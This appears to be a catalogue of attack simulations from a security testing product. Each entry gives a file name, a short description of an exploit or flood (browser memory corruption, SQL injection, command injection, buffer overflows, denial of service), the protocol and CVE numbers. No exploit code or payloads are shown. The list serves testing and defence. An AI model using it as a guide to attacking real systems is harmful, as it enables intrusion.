Detailed Description:	A vulnerability has been identified in Microsoft Internet Explorer. The vulnerability is created by an error in the processing of scripts that calls the createTextRange method on invalid HTML elements. An attacker can potentially exploit this vulnerability to inject and execute arbitrary code on a vulnerable host in the security context of the currently logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-1359
Threat Package:	Standard
Threat File Name:	FSC20080212-13_Microsoft_Internet_Explorer_ANIMATEMOTION_Properties_Assignment_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer ANIMATEMOTION Properties Assignment Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to the way Internet Explorer handles certain property of a ANIMATEMOTION object. Remote attackers can exploit this vulnerability by persuading target users to visit a specially crafted web page. Successful exploitation may allow the attacker to execute arbitrary code on the vulnerable client system, in the context of the logged in user.
Protocol Type:	
CVEID:	CVE-2008-0077
Threat Package:	Standard
Threat File Name:	ms05-039.xml
Executive Description:	Microsoft Plug and Play Remote Code Execution Attack
Detailed Description:	This threat uses Microsoft's Remote Plug and Play service to run remote code in the context of the SYSTEM user. This exploit is currently being used by the Zotob.B worm in circulation in the wild. This attack uses the SMB port on Microsoft systems, which typically listens on port 445.
Protocol Type:	SMB
CVEID:	CVE-2005-1983
OSVDB:	18605
Threat Package:	Standard
Threat File Name:	ICMPpSmashDoS_IPv6.xml
Executive Description:	ICMP p-smash Flood (IPv6 Version)
Detailed Description:	This threat floods the targeted remote machine with ICMP type 9 messages causing the machine to crash resulting in a denial of service for all legitimate users. (IPv6 Version)
Protocol Type:	ICMP/IPv6
CVEID:	CVE-2000-0568
OSVDB:	1439
Threat Package:	Standard
Threat File Name:	TSL20120514_Adobe_Photoshop_Asset_Elements_Stack_Buffer_Overflow.xml
Executive Description:	Adobe Photoshop Asset Elements Stack Buffer Overflow
Detailed Description:	A buffer overflow vulnerability has been reported in Adobe Photoshop. The vulnerability is due to insufficient validation of Collada asset elements. A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to download a malicious file. This can lead to arbitrary code execution in the context of the affected application.
Protocol Type:	HTTP,HTTPS,SMTP,SMB/CIFS
OSVDB:	81832
Threat File Name:	TSL20170515-08_HPE_Intelligent_Management_Center_dbman_RestoreZipFile_Command_Injection.xml
Executive Description:	HPE Intelligent Management Center dbman RestoreZipFile Command Injection
Detailed Description:	A command injection vulnerability has been reported in the dbman component of HPE Intelligent Management Center. The vulnerability exists due to missing validation of user-provided parameters when handling RestoreZipFile commands. A remote, unauthenticated attacker can exploit the vulnerability by sending a maliciously crafted packet to the target server. Successful exploitation of this vulnerability can lead to remote command execution in the context of SYSTEM or root.
Protocol Type:	HP IMC DBMan Protocol
CVEID:	CVE-2017-5821
Threat File Name:	FSC20060322-08_Microsoft_Internet_Explorer_createTextRange_Code_Execution.xml
Executive Description:	Microsoft Internet Explorer createTextRange Code Execution
Detailed Description:	A vulnerability has been identified in Microsoft Internet Explorer. The vulnerability is created by an error in the processing of scripts that calls the createTextRange method on invalid HTML elements. An attacker can potentially exploit this vulnerability to inject and execute arbitrary code on a vulnerable host in the security context of the currently logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2006-1359
Threat Package:	Standard
Threat File Name:	TSL20160113-02_Microsoft_Internet_Explorer_and_Edge_CVE-2016-0002_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer and Edge CVE-2016-0002 Memory Corruption
Detailed Description:	A memory corruption vulnerability has been reported in Microsoft Internet Explorer and Edge. This vulnerability is due to error while handling certain objects when processing HTML and script code.A remote unauthenticated attacker could exploit these vulnerabilities by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTPS,HTTP
CVEID:	CVE-2016-0002
Threat File Name:	program_checker_sasatl_activex_bof.xml
Executive Description:	sasatl.dll 1.5.0.531 Program Checker-Method DebugMsgLog Heap Spraying Vulnerability

Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the Zenturi ProgramChecker ActiveX application, resulting in the overwriting of arbitrary files. This threat is delivered via HTTP port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-3703
Threat Package:	Standard
Threat File Name:	LPRng.xml
Executive Description:	LPRng Remote Overflow
Detailed Description:	This threat attempts to cause a format string error in vulnerable versions of LPRng. It creates a remote shell on the host that the attacker can then use. LPRng typically uses port 515.
Protocol Type:	LPR
CVEID:	CVE-2000-0917
OSVDB:	421
Threat Package:	Standard
Threat File Name:	simplog_cmi.xml
Executive Description:	Simplog 0.9.2 Remote Command Execution Exploit
Detailed Description:	This threat exploits simplog by inserting a url into a cookie variable which allows for an arbitrary PHP file inclusion, this code is then executed by the server. Simplog is a web application and typically listens on port 80.
Protocol Type:	HTTP
OSVDB:	24559
Threat Package:	Standard
Threat File Name:	nustore_sqlii_IPv6.xml
Executive Description:	NuStore 1.0 (Products.asp) Remote SQL Injection Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted URL that contains an SQL query which is executed by the server. NuStore is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20070612-15_Microsoft_Speech_API_4_0_ActiveX_Controls_Buffer_Overflow.xml
Executive Description:	Microsoft Speech API 4.0 ActiveX Controls Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in the way Microsoft Speech API (SAPI) ActiveX controls handles user supplied data. The vulnerability can be triggered by passing an overly long string to various methods of the SAPI ActiveX controls. An attacker can exploit this vulnerability for code execution by enticing a target user to open a malicious HTML document. Any code injected using this vulnerability would be executed in the security context of the currently logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2007-2222
Threat Package:	Standard
Threat File Name:	FSC20070612-11_Microsoft_Visio_Packed_Object_Parsing_Memory_Corruption.xml
Executive Description:	Microsoft Visio Packed Object Parsing Memory Corruption
Detailed Description:	A remote code-execution vulnerability exists in Microsoft Visio. The vulnerability is due to incorrectly handling the parsing of a packed object. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted Microsoft Visio file, potentially causing arbitrary code to be injected and executed in the security context of the current user.
Protocol Type:	HTTP
CVEID:	CVE-2007-0936
Threat Package:	Standard
Threat File Name:	jabber_dos_IPv6.xml
Executive Description:	Jabberd Denial of Service (IPv6 Version)
Detailed Description:	This threat causes certain versions of the Jabber server to crash by sending unexpected input. Jabber servers typically listen on port 5222. (IPv6 Version)
Protocol Type:	Jabber/IPv6
CVEID:	CVE-2004-1378
OSVDB:	10257
Threat Package:	Standard
Threat File Name:	firefox_addbookmark_dos_IPv6.xml
Executive Description:	Firefox Add Bookmark Denial of Service (IPv6 Version)
Detailed Description:	This threat sends a malicious piece of Javascript which will cause Mozilla Firefox and related browsers to crash. This can be used by a malicious attacker to force a user to lose all open webpages. This threat mimics a webserver sending the malicious attack from the virtual server, and would typically be sent across port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-1993
Threat Package:	Standard
Threat File Name:	TSL20141209-26_Microsoft_Internet_Explorer_CVE_2014_6366_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer CVE-2014-6366 Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to an error while handling certain objects when processing HTML and script code. A remote unauthenticated attacker could exploit the vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2014-6366
OSVDB:	115569
Threat File Name:	cubecart_xss_IPv6.xml
Executive Description:	CubeCart Cross-site Scripting Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted HTTP Request with with a modified URL string containing Javascript pop-up, the script is inserted into the page with no checking. CubeCart is a web application that typically listens on port 80 (IPv6 Version)
Protocol Type:	HTTP/IPv6

Threat Package:	Standard
Threat File Name:	TSL20170419-07_Oracle_Fusion_Middleware_MapViewer_FileUploaderServlet_fileName_Directory_Traversal_IPv6.xml
Executive Description:	Oracle Fusion Middleware MapViewer FileUploaderServlet fileName Directory Traversal (IPv6 Version)
Detailed Description:	A directory traversal vulnerability has been reported in Oracle Fusion Middleware MapViewer. The vulnerability is due to a lack of proper input sanitization on multipart form-data requests in FileUploaderServlet. A remote attacker can exploit this vulnerability by sending a maliciously crafted HTTP request. Successful exploitation could result in the execution of arbitrary code under the context of the web server user.
Protocol Type:	HTTP,IPv6
CVEID:	CVE-2017-3230
Threat File Name:	cfnetwork_dos_IPv6.xml
Executive Description:	Apple CFNetwork HTTP Response Denial of Service (IPv6 Version)
Detailed Description:	This threat simulates a client requesting a file, and the server replying with a maliciously constructed HTTP response. This response will cause a null pointer dereference in the CFNetwork framework, which is built in to Mac OS X, and can be used for client applications. If it is built in to the application, the null pointer dereference the threat causes will crash the application. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-0464
Threat Package:	Standard
Threat File Name:	cdpflood.xml
Executive Description:	CDP Flood
Detailed Description:	This threat sends out a flood of CDP packets attempting to corrupt memory inside of a Cisco device with the CDP protocol enabled.
Protocol Type:	CDP
CVEID:	CVE-2001-1071
OSVDB:	1969
Threat Package:	Standard
Threat File Name:	TSL20140428-04_Apache_Struts_CookieInterceptor_ClassLoader_Security_Bypass.xml
Executive Description:	Apache Struts CookieInterceptor ClassLoader Security Bypass
Detailed Description:	A security bypass vulnerability exists in Apache Struts. The vulnerability is due to inadequate validation of data processed by Cookie Interceptor allowing for manipulation of the ClassLoader. A remote attacker could exploit this vulnerability by providing a "class" cookie in an HTTP request. Successful exploitation could lead to a security bypass condition due to ClassLoader manipulation.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2014-0113
OSVDB:	103918
Threat File Name:	TSL20140909-02_ManageEngine_Desktop_Central_StatusUpdate_Arbitrary_File_Upload.xml
Executive Description:	ManageEngine Desktop Central StatusUpdate Arbitrary File Upload
Detailed Description:	An arbitrary file upload vulnerability exists in ManageEngine Desktop Central. The vulnerability is due to lack of authentication and insufficient input validation of the parameters sent to the StatusUpdate page when processing HTTP requests. A remote unauthenticated attacker can upload arbitrary files to arbitrary locations. In a successful attack scenario, the attacker can execute arbitrary code with SYSTEM privileges by placing executable files in critical locations. Tester should set variable \$destPort to 8020 or 8383 before test.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2014-5005
OSVDB:	110643
Threat File Name:	lupper17_IPv6.xml
Executive Description:	Lupper Worm 17 (IPv6 Version)
Detailed Description:	This threat is one of the HTTP requests for the Lupper Worm. Lupper is a worm that exploits well known web application holes. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-1921
OSVDB:	17793
Threat Package:	Standard
Threat File Name:	TSL20150611-03_Apple_CUPS_Web_Interface_URL_Handling_Cross_Site_Scripting_IPv6.xml
Executive Description:	Apple CUPS Web Interface URL Handling Cross-Site Scripting IPv6 version.
Detailed Description:	A cross-site scripting vulnerability exists in the Apple CUPS Web Interface. The vulnerability is due to insufficient input validation while handling HTTP requests. A remote attacker can exploit this vulnerability by enticing a user to click on a link containing script code in the URL. Successful exploitation will result in the attacker-controlled script code being executed in the security context of the target user's browser session. Tester should set the variable \$destPort to 631 before test.
Protocol Type:	HTTP/HTTPS,IPv6
CVEID:	CVE-2015-1159
Threat File Name:	TSL20120214-12_Microsoft_Internet_Explorer_Null_Byte_Information_Disclosure_IPv6.xml
Executive Description:	Microsoft Internet Explorer Null Byte Information Disclosure(IPV6 Version)
Detailed Description:	An information disclosure vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to improperly filling a data buffer that contains previously freed data. A remote attacker could exploit this vulnerability by enticing a target user to visit a malicious website. Successful exploitation would allow the attacker to access previously used memory content, which might include sensitive data such as content of the previously visited web pages, login credentials, etc.
Protocol Type:	IPV6,HTTP,HTTPS
CVEID:	CVE-2012-0012
OSVDB:	79267
Threat File Name:	TSL20120214-12_Microsoft_Internet_Explorer_Null_Byte_Information_Disclosure.xml
Executive Description:	Microsoft Internet Explorer Null Byte Information Disclosure

Detailed Description:	An information disclosure vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to improperly filling a data buffer that contains previously freed data. A remote attacker could exploit this vulnerability by enticing a target user to visit a malicious website. Successful exploitation would allow the attacker to access previously used memory content, which might include sensitive data such as content of the previously visited web pages, login credentials, etc.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2012-0012
OSVDB:	79267
Threat File Name:	TSL20161212-01_3CX_Phone_System_VAD_Deploy.aspx_Arbitrary_File_Upload.xml
Executive Description:	3CX Phone System VAD_Deploy.aspx Arbitrary File Upload
Detailed Description:	An arbitrary file upload vulnerability exists in 3CX VoIP Phone System Manager. The vulnerability is due to failure to restrict file uploads in VAD_Deploy.aspx. A remote unauthenticated attacker can exploit this vulnerability by sending maliciously crafted requests to the target server. Successful exploitation could lead to arbitrary command execution on the server with SYSTEM privileges.
Protocol Type:	HTTP
Threat File Name:	TSL20170616-03_Microsoft_Windows_OLE_CVE-2017-8487_Global_Buffer_Overflow.xml
Executive Description:	Microsoft Windows OLE CVE-2017-8487 Global Buffer Overflow
Detailed Description:	A global buffer overflow vulnerability exists in Microsoft Windows OLE. The vulnerability is due to improper validation of image files embedded within an OLE stream. A remote attacker can exploit this vulnerability by enticing the target user to open a specially crafted web page, an email message. Successful exploitation could lead to arbitrary code execution within the security context of the target user.
Protocol Type:	SMTP
CVEID:	CVE-2017-8487
Threat File Name:	FSC20080109-09_SAP_MaxDB_Remote_Arbitrary_Commands_Execution_IPv6.xml
Executive Description:	SAP MaxDB Remote Arbitrary Commands Execution (IPv6 Version)
Detailed Description:	A shell command injection vulnerability exists in MaxDB database service. The vulnerability can be triggered when the service processes malicious exec_sdbinfo SAP commands. An unauthenticated attacker can exploit this vulnerability by delivering a crafted request to the target host, resulting in command injection and execution with privileges of the affected MaxDB database service. (IPv6 Version)
Protocol Type:	/IPv6
CVEID:	CVE-2008-0244
Threat Package:	Standard
Threat File Name:	shockwave10_activex_dos_a.xml
Executive Description:	Macromedia Shockwave 10 SWDIR.DLL ActiveX Control Remote Denial of Service Vulnerability
Detailed Description:	This threat leverages a flaw in the SWDIR.DLL ActiveX Control that will lead to a denial of service (IE 7 crash). Macromedia Shockwave SWDIR.DLL ActiveX Control is a component of Internet Explorer, a web browser that connects to web servers listening on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-6885
Threat Package:	Standard
Threat File Name:	TSL20110810-05_Adobe_Photoshop_CS5_GIF_File_Heap_Corruption.xml
Executive Description:	Adobe Photoshop CS5 GIF File Heap Corruption
Detailed Description:	A heap corruption vulnerability exists in Adobe Photoshop CS5. The vulnerability is due to insufficient boundary checking while processing crafted GIF files. Remote attackers can exploit this vulnerability by enticing the target user to open a malicious GIF file. A successful attack would result in the execution of arbitrary code in the security context of the target user. If the attack fails the affected application may terminate abnormally.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2011-2131
Threat File Name:	TSL20140710-06_Microsoft_Internet_Explorer_CVE-2014-1765_Use_After_Free_IPv6.xml
Executive Description:	Microsoft Internet Explorer CVE-2014-1765 Use After Free IPv6 version.
Detailed Description:	A use after free vulnerability exist in Microsoft Internet Explorer. The vulnerability is due to an error while handling certain objects when processing HTML and script code.A remote unauthenticated attacker could exploit this vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP/HTTPS,IPV6
CVEID:	CVE-2014-1765
OSVDB:	104583
Threat File Name:	TSL20131210-14_IBM_Forms_Viewer_XFDL_Form_Processing_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	IBM Forms Viewer XFDL Form Processing Stack Buffer Overflow(IPv6 Version)
Detailed Description:	A stack buffer overflow vulnerability exists in IBM Forms Viewer. The vulnerability is due to an error when processing XFDL forms and can be exploited to cause a stack-based buffer overflow. A remote unauthenticated attacker can exploit the vulnerability by enticing a user to open a specifically crafted form. Successful exploitation of the vulnerability would result in the execution of arbitrary code within the security context of the currently logged on user.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP,IPV6
CVEID:	CVE-2013-5447
OSVDB:	100732
Threat File Name:	AppleTerminalURI.xml
Executive Description:	Apple Safari Terminal Execution
Detailed Description:	This threat allows a malicious web page to execute commands with the permissions of a user using Mac OS X. This is performed by specifying terminal escape codes in the URL that then launches a terminal application. This threat is a client attack that comes from the virtual server.
Protocol Type:	HTTP
CVEID:	CVE-2005-1342
OSVDB:	16084
Threat Package:	Standard

Threat File Name:	NOOPtcpHP-UNIX_IPv6.xml
Executive Description:	TCP NOOP Packet Variant HP-UNIX (IPv6 Version)
Detailed Description:	This threat sends a TCP packet that appears to be part of an existing valid connection with a NOOP sled in it. A NOOP sled is used by shellcode to insure that the injected code will execute. Unfortunately, there are many other reasons why a NOOP might appear in traffic. This threat utilized equivalent assembly instructions to the standard NOOP instruction. (IPv6 Version)
Protocol Type:	TCP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20080731-12_CA_ARCserve_Backup_for_Laptops_and_Desktops_LGServer_Handshake_Buffer_Overflow_IPv6.xml
Executive Description:	CA ARCserve Backup for Laptops and Desktops LGServer Handshake Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in the way CA ARCserve Backup for Laptops and Desktops service handles incoming messages. A remote unauthenticated attacker can send specially crafted message to the LGServer service to trigger the vulnerability, potentially execute arbitrary code on the target host with System privileges. (IPv6 Version)
Protocol Type:	SSDP/IPv6
CVEID:	CVE-2008-3175
Threat Package:	Standard
Threat File Name:	long_hostname_IPv6.xml
Executive Description:	HTTP GET Long Hostname (IPv6 Version)
Detailed Description:	This threat sends a long hostname option with an HTTP GET request. Has caused certain web servers (mostly on embedded devices) to crash. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2004-0740
OSVDB:	8141
Threat Package:	Standard
Threat File Name:	TSL20140122-01_Red_Hat_JBoss_Seam_Framework_XXE_Information_Disclosure.xml
Executive Description:	Red Hat JBoss Seam Framework XXE Information Disclosure
Detailed Description:	An information disclosure vulnerability has been reported in Red Hat JBoss Seam Framework. This is due to an incorrectly configured XML parser accepting XML eXternal Entities (XXE) from untrusted sources being used by the ExecutionHandler, PollHandler, and SubscriptionHandler classes within the JBoss Seam Framework's Remoting component. A remote unauthenticated attacker may exploit this vulnerability on a web application powered by the JBoss Seam Framework to disclose the contents of files via specially crafted XML documents.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2013-6447
OSVDB:	102345
Threat File Name:	TSL20170515-07_HPE_Intelligent_Management_Center_dbman_RestartDB_Command_Injection.xml
Executive Description:	HPE Intelligent Management Center dbman RestartDB Command Injection
Detailed Description:	A command injection vulnerability has been reported in the dbman component of HPE Intelligent Management Center. The vulnerability exists due to improper validation of the dbInstance parameter when handling RestartDB commands. A remote, unauthenticated attacker can exploit the vulnerability by sending a maliciously crafted packet to the target server. Successful exploitation of this vulnerability can lead to remote command execution in the context of SYSTEM or root.
Protocol Type:	HP IMC DBMan Protocol
CVEID:	CVE-2017-5816
Threat File Name:	FSC20081002-05_VMware_Server_ISAPI_Extension_Remote_Denial_Of_Service.xml
Executive Description:	VMware Server ISAPI Extension Remote Denial Of Service
Detailed Description:	There exists a vulnerability in the ISAPI extension provided by VMware Server to extend support to IIS for running Perl scripts. By supplying overly large data to the ISAPI extension isperl.dll in a POST request, a remote attacker can terminate the IIS service and create a Denial of Service condition. Upon processing malicious POST request, the affected IIS server process will terminate, which triggers a Denial of Service condition. On most installations, the service will restart automatically to resume the normal operation.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2008-3697
Threat Package:	Standard
Threat File Name:	TSL20120425-01_Oracle_WebCenter_Forms_Recognition_ActiveX_Control_Arbitrary_File_Creation_IPv6.xml
Executive Description:	Oracle WebCenter Forms Recognition ActiveX Control Arbitrary File Creation(IPv6 Version)
Detailed Description:	A directory traversal vulnerability exists in Oracle WebCenter Forms Recognition. The vulnerability is due to insufficient validation of parameters used in the Save() method in the ActiveX control CroProj.dll. This can be exploited to write arbitrary files in the context of the currently logged-on user. A remote attacker could possibly exploit this vulnerability to achieve arbitrary code execution by enticing a target user to open a crafted web page.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2012-1709
OSVDB:	81367
Threat File Name:	FSC20090114-20_Oracle_Secure_Backup_exec_gr_Command_Injection.xml
Executive Description:	Oracle Secure Backup exec_gr Command Injection
Detailed Description:	There exists a command injection vulnerability in Oracle Secure Backup. The vulnerability is due to lack of sanitation of user supplied parameters when processing HTTP requests sent to PHP program login.php. Remote unauthenticated attackers can exploit this vulnerability by sending a crafted HTTP request to the target host. Successful exploitation would allow for arbitrary command execution in the security context of the user running the web server of Oracle Secure Backup. The behaviour of the target is entirely dependent on the intended function of the injected command.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2008-5448
Threat Package:	Standard

Threat File Name:	xoops_sqli_IPv6.xml
Executive Description:	XOOPS SQL Injection 2 (IPv6 Version)
Detailed Description:	This threat sends a crafted HTTP Request with with a modified URL string containing an SQL query that can be used to access the database with the permissions of the server. XOOPS is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-3681
OSVDB:	20852
Threat Package:	Standard
Threat File Name:	longerIPLength_IPv6.xml
Executive Description:	IP Incorrect Length Field (IPv6 Version)
Detailed Description:	This threat sends an IP packet with an incorrect length field. (IPv6 Version)
Protocol Type:	IP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20090922-09_Apple_iTunes_PLS_File_Parsing_Buffer_Overflow_IPv6.xml
Executive Description:	Apple iTunes PLS File Parsing Buffer Overflow [IPv6, Version]
Detailed Description:	A buffer overflow vulnerability has been reported in Apple iTunes. The error is due to improper bounds checking when copying user supplied data into a buffer. A remote attacker can exploit this vulnerability by enticing a user to open a specially crafted .pls file. Successful exploitation of this vulnerability can lead to arbitrary code execution in the context of the user. An unsuccessful code execution attempt can lead to abnormal termination of the vulnerable program.
Protocol Type:	IPv6,IMAP,HTTP,HTTPS,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2009-2817
Threat File Name:	TSL20130823-04_SpringSource_Spring_Framework_XML_External_Entity_Information_Disclosure_IPv6.xml
Executive Description:	SpringSource Spring Framework XML External Entity Information Disclosure [IPv6, Version]
Detailed Description:	An information disclosure vulnerability exists in SpringSource Spring Framework. The vulnerability is due to incorrectly configured XML parsing which accepts XML external entities from untrusted sources. A remote, unauthenticated attacker can leverage this vulnerability by sending a malicious request to the target server. Successful exploitation would result in the disclosure of information from arbitrary files available to the security context of the server application.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2013-4152
OSVDB:	96520
Threat File Name:	TSL20121025-01_VideoLAN_VLC_Media_Player_PNG_Code_Execution_IPv6.xml
Executive Description:	VideoLAN VLC Media Player PNG Code Execution(IPV6 Version)
Detailed Description:	A code execution vulnerability has been reported in VLC Media Player. The vulnerability is due to an input validation error when handling certain PNG files. A remote attacker can exploit this vulnerability by enticing a user to open a specially crafted PNG file with a vulnerable version of VLC Media Player. Successful exploitation may allow the attacker to execute arbitrary code on the target user's machine with the privileges of the VLC Media Player process. If code execution is unsuccessful, a denial of service condition may result.
Protocol Type:	IPV6,HTTP,HTTPS,SMTP,IMAP,POP3,SMB/CIFS,RTSP
CVEID:	CVE-2012-5470
Threat File Name:	geeklog2_rfi.xml
Executive Description:	GeekLog 2.x ImageImageMagick.php Remote File Inclusion Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Geeklog is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	x86NOOPudp7_IPv6.xml
Executive Description:	UDP x86 NOOP Variant 7 (IPv6 Version)
Detailed Description:	This threat sends UDP packets with a payload filled with NOOP assembly instructions. This gets flagged on IDS systems as a possible shellcode injection attack. NOOPs are used as a sled to insure greater probability for shellcode to execute. Unfortunately, NOOPs are also quite common in binary downloads from websites as well, causing many false positives. (IPv6 Version)
Protocol Type:	UDP/IPv6
Threat Package:	Standard
Threat File Name:	guestbook_xss_b_IPv6.xml
Executive Description:	Toms Guestebuch 1.00 (IPv6 Version)
Detailed Description:	This threat sends a crafted URL that contains Javascript to be included in the returned page. Toms Guestebuch is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat File Name:	TSL20110809-12_Microsoft_Office_Visio_Global_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Office Visio Global Buffer Overflow(IPv6 Version)
Detailed Description:	A code execution vulnerability exists in Microsoft Visio. The vulnerability is due to a boundary error when parsing crafted Visio files which results in a global buffer overflow. A remote attacker can exploit this vulnerability by enticing a user to open a malicious file with an affected version of Microsoft Visio. In attack scenarios where code execution is successful the behaviour of the target machine is dependent entirely on the intention of the injected code, which will run within the security context of the current user. When code execution is not successful the affected application may terminate abnormally.
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB
CVEID:	CVE-2011-1979
Threat File Name:	FSC20080408-16_Microsoft_Visio_DXF_File_Handling_Code_Execution.xml

Executive Description:	Microsoft Visio DXF File Handling Code Execution
Detailed Description:	There exists a memory corruption vulnerability in the way Microsoft Visio handles specially-crafted DXF files. Remote attackers can exploit this vulnerability by enticing target users to open a specially crafted DXF file. Successful exploitation would result in injection and execution of arbitrary code in the context of currently logged-in user. Attempts that fail to execute injected code will likely result in denial of service conditions.
Protocol Type:	HTTP
CVEID:	CVE-2008-1090
Threat Package:	Standard
Threat File Name:	windows_rshd_rbof.xml
Executive Description:	Windows RSH daemon Stack Based Buffer Overflow Vulnerability
Detailed Description:	This threat demonstrates a stack overflow in Windows RSH daemon, that allows for execution arbitrary code or denial of service. Windows RSHD listens on port 514.
Protocol Type:	RSH
Threat Package:	Standard
Threat File Name:	TSL20170120-08_Brocade_Network_Advisor_DashboardFileReceiveServlet_filename_Directory_Traversal_IPv6.xml
Executive Description:	Brocade Network Advisor DashboardFileReceiveServlet filename Directory Traversal (IPv6 Version)
Detailed Description:	A directory traversal vulnerabilities exists in Brocade Network Advisor. The vulnerability is due to lack of authentication and insufficient input validation in the DashboardFileReceiveServlet servlet of dashboard-file-upload.war when processing HTTP multipart form requests. A remote, unauthenticated attacker can exploit this vulnerability by sending a malicious HTTP request to the target system. Successful exploitation could result in arbitrary code execution with privileges of the SYSTEM.
Protocol Type:	HTTP, HTTPS, IPv6
CVEID:	CVE-2016-8205
Threat File Name:	TSL20110721-14_Oracle_Outside_In_CorelDRAW_File_Parser_Integer_Overflow.xml
Executive Description:	Oracle Outside In CorelDRAW File Parser Integer Overflow
Detailed Description:	An integer overflow vulnerability that leads to a heap buffer overflow exists in Oracle Outside-In, a set of libraries used to decode many file formats. The vulnerability exists when handling CorelDRAW (.cdr) files. Oracle Outside-In is embedded in many enterprise applications. This vulnerability can be exploited by causing an application that uses the vulnerable library to handle a malformed .cdr file. Depending on the application, user interaction may be required. Successful exploitation can result in arbitrary code execution in the context of the affected application.
Protocol Type:	HTTP,HTTPS, IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2011-2264
Threat File Name:	slmail_IPv6.xml
Executive Description:	SLMail HELO Buffer Overflow (IPv6 Version)
Detailed Description:	This threat takes advantage of a buffer overflow in versions of SLMail. This threat works on port 25 of the vulnerable versions of the software, however due to the nature of the attack, other SMTP capable servers might be vulnerable as well. (IPv6 Version)
Protocol Type:	SMTP/IPv6
CVEID:	CVE-1999-0231
Threat Package:	Standard
Threat File Name:	TSL20170419-08_Oracle_MySQL_sql_authentication_Integer_Overflow_IPv6.xml
Executive Description:	Oracle MySQL sql_authentication Integer Overflow (IPv6 Version)
Detailed Description:	A vulnerability has been reported in Oracle MySQL. The vulnerability is due to an integer overflow in the Pluggable Authentication module of MySQL. A remote, unauthenticated attacker could exploit this vulnerability by sending a crafted packet to the vulnerable server. Successful exploitation could result in denial of service conditions on the target system.
Protocol Type:	MySQL,IPv6
CVEID:	CVE-2017-3599
Threat File Name:	phpinfo_IPv6.xml
Executive Description:	phpinfo.php Request (IPv6 Version)
Detailed Description:	This threat performs a HTTP GET request for the file phpinfo.php. This file typically contains the phpinfo() function which discloses detailed information about what is running on the server. PHP is a web application language and typically will listen on port 80 with a webserver. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2002-1149
OSVDB:	3356
Threat Package:	Standard
Threat File Name:	FSC20090811-15_Microsoft_Office_Web_Components_Remote_Code_Execution.xml
Executive Description:	Microsoft Office Web Components Remote Code Execution
Detailed Description:	A memory corruption vulnerability exists in Microsoft Office Web Components ActiveX control. The vulnerability can be triggered when the ActiveX control is instantiated and released multiple times in Internet Explorer. A remote attacker can exploit this vulnerability by enticing a target user to open a maliciously crafted web page. Successful attacks could allow for arbitrary code being injected and executed with privileges of the currently logged on user. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. In case of an unsuccessful code execution attack, the vulnerable application may terminate abnormally on the target host.
Protocol Type:	HTTP/HTTPS/POP3/IMAP/SMTP
CVEID:	CVE-2009-0562
Threat Package:	Standard
Threat File Name:	FSC20040712-01_Microsoft_Outlook_-_Word_Object_Tag_Vulnerability.xml
Executive Description:	Microsoft Outlook - Word Object Tag Vulnerability
Detailed Description:	There is a vulnerability in Microsoft Outlook when Microsoft Word is enabled in Outlook as the default editor for email messages. The vulnerability exists in the handling of object tags, and can be triggered remotely when a user replies or forwards a maliciously crafted email message. This vulnerability could bypass Outlook's 'Restricted Zone' security setting and enable arbitrary access to remote resources.
Protocol Type:	HTTP
CVEID:	CVE-2004-2482

Threat Package:	Standard
Threat File Name:	barracuda_spamfirewall_rcmd_IPv6.xml
